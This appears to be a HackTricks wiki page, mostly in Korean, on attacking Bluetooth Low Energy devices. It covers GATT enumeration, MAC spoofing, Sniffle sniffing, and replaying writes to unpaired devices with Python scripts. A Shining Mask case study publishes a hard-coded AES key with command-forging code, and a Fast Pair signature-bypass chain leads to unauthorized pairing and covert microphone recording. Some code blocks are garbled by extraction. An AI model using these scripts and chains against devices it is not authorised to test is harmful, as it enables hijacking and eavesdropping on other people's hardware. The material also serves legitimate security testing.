Pentesting BLE - Bluetooth Low Energy

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

소개

Bluetooth 4.0 사양 이후 사용 가능하며, BLE는 2400에서 2483.5 MHz 범위를 커버하는 40개 채널만 사용합니다. 반면 기존 Bluetooth는 같은 범위에서 79개 채널을 사용합니다.

BLE 장치는 advertising packets (beacons)를 전송하여 통신합니다. 이 패킷들은 주변 장치들에게 BLE 장치의 존재를 브로드캐스트합니다. 이 beacons는 때때로 send data도 전송합니다.

수신 장치(또는 central device)는 특정 advertising 장치로 직접 전송되는 SCAN request로 advertising packet에 응답할 수 있습니다. 그 스캔에 대한 responseadvertising packet과 동일한 구조를 사용하지만 초기 advertising request에 들어가지 못한 추가 정보(예: 전체 장치 이름)를 포함합니다.

preamble byte는 주파수 동기화를 담당하며, 4바이트 access address는 connection identifier로, 여러 장치가 동일 채널에서 연결을 시도할 때 사용됩니다. 그다음 Protocol Data Unit (PDU)에는 advertising data가 포함됩니다. PDU에는 여러 타입이 있으며, 가장 일반적으로 사용되는 것은 ADV_NONCONN_IND와 ADV_IND입니다. 장치는 ADV_NONCONN_IND PDU 타입을 사용하면 don’t accept connections 상태로 광고 패킷에서만 데이터를 전송합니다. 장치는 ADV_IND를 사용하면 allow connections 상태이고, connectionestablished되면 stop sending advertising 패킷을 중단합니다.

GATT

The Generic Attribute Profile (GATT)는 device가 데이터의 형식과 전송 방식을 정의합니다. BLE 장치의 공격 표면을 분석할 때 GATT(또는 GATTs)에 주로 주목하게 되는데, 이는 장치의 기능이 어떻게 트리거되는지와 데이터가 어떻게 저장·그룹화·수정되는지를 보여주기 때문입니다. GATT는 장치의 characteristics, descriptors, 그리고 services를 16비트 또는 32비트 값으로 표 형태로 나열합니다. characteristic은 central device와 peripheral 사이에 전송되는 data 값입니다. 이러한 characteristics는 해당 항목에 대한 추가 정보를 provide하는 descriptors를 가질 수 있습니다. 관련 동작을 수행하는 경우 characteristics는 종종 servicesgrouped됩니다.

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool은 다른 장치와의 connectionestablish하여 해당 장치의 characteristics를 나열하고 속성을 읽고 쓸 수 있습니다.
GATTTool은 -I 옵션으로 interactive shell을 실행할 수 있습니다:

GATTTool interactive usage and examples ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

페어링되지 않은 BLE 장치 스니핑 및 능동 제어

많은 저가형 BLE 주변 장치는 pairing/bonding을 강제하지 않습니다. bonding이 없으면 Link Layer encryption이 활성화되지 않아 ATT/GATT 트래픽이 평문으로 전송됩니다. 오프-패스 sniffer는 연결을 추적하고 GATT operations를 디코딩하여 characteristic handles와 values를 알아낼 수 있으며, 근처의 호스트가 연결한 후 해당 쓰기 동작을 재생(replay)하여 장치를 제어할 수 있습니다.

Sniffle로 스니핑 (CC26x2/CC1352)

하드웨어: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)에 NCC Group의 Sniffle firmware를 재플래시함.

Linux에 Sniffle 및 Wireshark extcap 설치:

Sniffle extcap 설치 (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff with Sniffle firmware (시리얼 장치가 일치하는지 확인하세요, 예: /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Sniffle extcap을 통해 Wireshark에서 캡처하고, 필터링으로 state-changing writes로 빠르게 pivot하세요:

_ws.col.info contains "Sent Write Command"

이는 클라이언트의 ATT Write Commands를 강조합니다; handle과 value는 종종 장치 동작에 직접 매핑됩니다(예: write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Sniffle CLI 빠른 예제:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

대체 sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin도 작동합니다. 소형/저가 Nordic dongles에서는 일반적으로 USB bootloader를 덮어써서 sniffer firmware를 로드하므로, 전용 sniffer dongle을 유지하거나 나중에 bootloader를 복원하기 위해 J-Link/JTAG가 필요합니다.

GATT를 통한 능동 제어

sniffed traffic에서 쓰기 가능한 writable characteristic handle과 value를 식별한 후, 아무 central로 연결해 동일한 write를 수행하세요:

  • With Nordic nRF Connect for Desktop (BLE app):

  • Select the nRF52/nRF52840 dongle, scan and connect to the target.

  • Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).

  • Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).

  • Automate on Windows with a Nordic dongle using Python + blatann:

Python blatann write 예제 (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### 사례 연구: hijacking BLE LED masks (Shining Mask family)

Cheap, white‑labeled BLE LED masks controlled by the “Shining Mask” app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AES‑ECB encrypted with a static key hard‑coded in the app, while bulk image data is unencrypted.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

인증되지 않은 GATT 쓰기
- 페어링/바인딩 불필요. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- 관찰된 일반적인 동작: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

고정 키 AES 명령 프레이밍
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

이미지 업로드 흐름

  • 암호화된 DATS 핸드셰이크 후, raw chunks는 data characteristic …960a에 암호화되지 않은 상태로 기록된다.
  • 패킷 형식: [len][seq][payload]. 경험적으로 패킷당 ~100 bytes payload가 안정적으로 동작한다.
Minimal image upload pseudo-code ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **발견:** BLE 광고에서 **service UUID 0xFE2C** (Google Fast Pair)를 스캔합니다. 페어링 모드에 있는 디바이스는 일반적으로 페어링 배지를 노출하며, 페어링 모드가 아니더라도 Fast Pair 서비스는 GATT에 응답할 수 있습니다.
- **비침습적 탐지(서명 적용 확인):**
1. GATT로 Fast Pair 서비스에 **connect**하고 **Model ID를 read**합니다.
2. **서명 없이 Key-Based Pairing (KBP) 값을 write**합니다. 만약 주변장치가 서명 없는 KBP write를 받아들이면 signature-bypass(WhisperPair/CVE-2025-36911)에 취약한 것입니다. 거부하면 패치된 것이고, 이미 페어링되어 있는 경우에는 실패가 결론을 내기 어려울 수 있습니다.
- **BLE → BR/EDR pivot:** **KBP Request**를 전송하고 **암호화된 response**를 파싱하여 대상의 **BR/EDR address**를 복원합니다. 그런 다음 classic bonding 호출(예: Android **`createBond(<BR/EDR address>)`**)을 사용해 무단 페어링을 완료합니다. 지원되는 경우 **Account Key**를 작성하면 연관이 지속됩니다.
- **Post-bond 마이크 남용:** Bonding 후 **HFP**를 열고 **SCO audio**를 시작하면 실시간 마이크 스트림을 수신/녹음(예: M4A로 저장)할 수 있습니다. 이 체인은 서명 없는 KBP 수용을 사용자 동의 없이 원격 오디오 캡처로 전환합니다.
- **탐색/감지:** Fast Pair GATT 트래픽 직후 KBP에서 반환된 BR/EDR 주소로 향하는 classic **bonding 시도**와 서명이 없는 KBP write를 찾아보세요. KBP에 대한 서명 검증을 강제하고 사용자 확인 페어링을 요구하면 이 연쇄를 차단할 수 있습니다.

## Operational notes

- 채널 호핑과 연결 추적에 안정적인 환경을 위해 Linux에서 Sonoff+Sniffle을 선호합니다. 예비로 Nordic sniffer를 하나 더 준비해 두세요.
- 페어링/본딩이 없으면 근처의 공격자는 writable characteristic에 대한 write를 관찰하고 재생/조작할 수 있습니다.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>